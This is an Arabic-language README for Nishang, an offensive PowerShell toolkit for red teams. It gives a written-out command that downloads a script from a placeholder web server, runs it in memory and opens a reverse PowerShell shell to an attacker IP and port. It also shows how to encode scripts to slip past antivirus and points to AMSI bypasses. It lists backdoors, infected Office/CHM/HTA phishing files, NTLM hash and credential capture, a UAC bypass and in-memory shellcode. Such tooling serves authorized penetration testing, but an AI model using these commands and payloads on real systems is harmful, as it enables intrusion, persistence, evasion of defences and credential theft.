
Nishang - باور شيل الهجومي لفريق الاختراق الأحمر، اختبار الاختراق والأمن الهجومي.
بقلم Nikhil Mittal مؤسس Altered Security - تدريب عملي على الأمن المؤسسي والفريق الأحمر!
قم باستيراد جميع السكريبتات في جلسة باورشيل الحالية (من إصدار باورشيل v3 فصاعدًا).
PS C:\nishang> Import-Module .\nishang.psm1
استخدم السكريبتات الفردية باستخدام dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
للحصول على المساعدة حول أي سكريبت أو دالة، استخدم:
PS C:\nishang> Get-Help [scriptname] -full
لاحظ أن المساعدة متاحة للدالة التي تم تحميلها بعد تشغيل السكريبت وليس للسكريبت نفسه منذ الإصدار 0.3.8. في جميع الحالات، اسم الدالة هو نفس اسم السكريبت.
على سبيل المثال، لرؤية المساعدة حول Get-WLAN-Keys.ps1، استخدم
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
يتم الإبلاغ عن سكريبتات نيشانغ من قبل العديد من برامج مكافحة الفيروسات باعتبارها ضارة. السكريبتات على الهدف يُقصد بها أن تُستخدم في الذاكرة وهو أمر سهل جدًا باستخدام باورشيل. طريقتان أساسيتان لتنفيذ سكريبتات باورشيل في الذاكرة:
الطريقة 1. استخدام التحميل والتنفيذ في الذاكرة: استخدم الأمر أدناه لتنفيذ سكريبت باورشيل من شل بعيدة، شل ميتيربريتر الأصلي، شل ويب، إلخ. والدالة التي يصدرها. جميع السكريبتات في نيشانغ تصدر دالة بنفس الاسم في جلسة باورشيل الحالية.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
الطريقة 2. استخدام المعامل -encodedcommand (أو -e) الخاص بباورشيل
جميع السكريبتات في نيشانغ تصدر دالة بنفس الاسم في جلسة باورشيل الحالية. لذلك، تأكد من استدعاء الدالة في السكريبت نفسه عند استخدام معامل encodedcommand من شل غير باورشيل. للمثال أعلاه، أضف استدعاء دالة (بدون علامات اقتباس) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
قم بتشفير السكريبت باستخدام Invoke-Encode من نيشانغ:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
البيانات المشفرة كُتبت إلى .\encoded.txt
الأمر المشفر كُتب إلى .\encodedcommand.txt
من أعلاه، استخدم السكريبت المشفر من encodedcommand.txt وقم بتشغيله على هدف حيث يمكن تنفيذ الأوامر (شل بعيدة، شل ميتيربريتر الأصلي، شل ويب، إلخ.). استخدمه كما يلي:
C:\Users\target> powershell -e [encodedscript]
إذا استمر اكتشاف السكريبتات، فإن تغيير أسماء الدوال والمعاملات وإزالة محتوى المساعدة سيساعد.
في حال كان AMSI في ويندوز 10 لا يزال يحظر تنفيذ السكريبت، راجع هذه المدونة: http://www.labofapenetrationtester.com/2016/09/amsi.html
يحتوي نيشانغ حاليًا على السكريبتات والحمولات التالية.
تعديل كائنات AD لتوفير الحد الأدنى من الأذونات المطلوبة لـ DCShadow.
تنفيذ سكريبتات باورشيل في الذاكرة، تشغيل الأوامر، وتحميل ورفع الملفات باستخدام شل الويب هذا.
باب خلفي يمكنه استقبال التعليمات من مواقع الطرف الثالث وتنفيذ سكريبتات باورشيل في الذاكرة.
باب خلفي يمكنه استقبال الأوامر وسكريبتات باورشيل من استعلامات DNS TXT، وتنفيذها على الهدف، والتحكم به عن بُعد باستخدام الاستعلامات.
باب خلفي يمكنه تنفيذ سكريبتات باورشيل في وقت معين على الهدف.
باب خلفي يمكنه استقبال الأوامر والسكريبتات من SSID لشبكة WLAN دون الاتصال بها.
باب خلفي يمكنه استخدام شاشة توقف ويندوز لتنفيذ الأوامر والسكريبتات عن بُعد.
باب خلفي يمكنه استخدام تدفقات البيانات البديلة (ADS) وسجل ويندوز لتحقيق الثبات (persistence).
باب خلفي يستخدم خدعة Debugger المعروفة لتنفيذ الحمولة مع مفاتيح Sticky keys و Utilman (مفتاح ويندوز + U).
تعديل أذونات مساحات أسماء DCOM و WMI للسماح بالوصول لمستخدم غير مسؤول (non-admin).
تعديل أذونات الباورشيل عن بُعد (PSRemoting) للسماح بالوصول لمستخدم غير مسؤول (non-admin).
تنفيذ للطرق المعروفة علنًا لتجاوز/تجنب AMSI.
إنشاء ملفات CHM مصابة يمكنها تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات Word وإصابة الملفات الموجودة لتشغيل أوامر وسكريبتات باورشيل.
إنشاء ملفات Excel وإصابة الملفات الموجودة لتشغيل أوامر وسكريبتات باورشيل.
إنشاء ملف HTA يمكن نشره على خادم ويب واستخدامه في حملات التصيد.
إنشاء ملفات JAR موقعة يمكن استخدامها مع applets لتنفيذ السكريبتات والأوامر.
إنشاء ملفات اختصار قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات IQY لصيد بيانات الاعتماد وتجزئات SMB.
إنشاء ملفات JS قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات SCT قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملف SCF يمكن استخدامه لالتقاط تحديات تجزئة NTLM.
عندما تكون صلاحيات SYSTEM مطلوبة.
إدخال ثغرات عن طريق إزالة التصحيحات.
تجاوز UAC.
تنزيل وتنفيذ سكريبت باورشيل في الذاكرة.
تنزيل ملف تنفيذي بصيغة نصية، تحويله إلى ملف تنفيذي، وتنفيذه.
تشغيل أوامر باورشيل، أوامر أصلية، أو أوامر SQL على خادم MSSQL بصلاحيات كافية.
تنفيذ شيل كود (shellcode) في الذاكرة باستخدام استعلامات DNS TXT.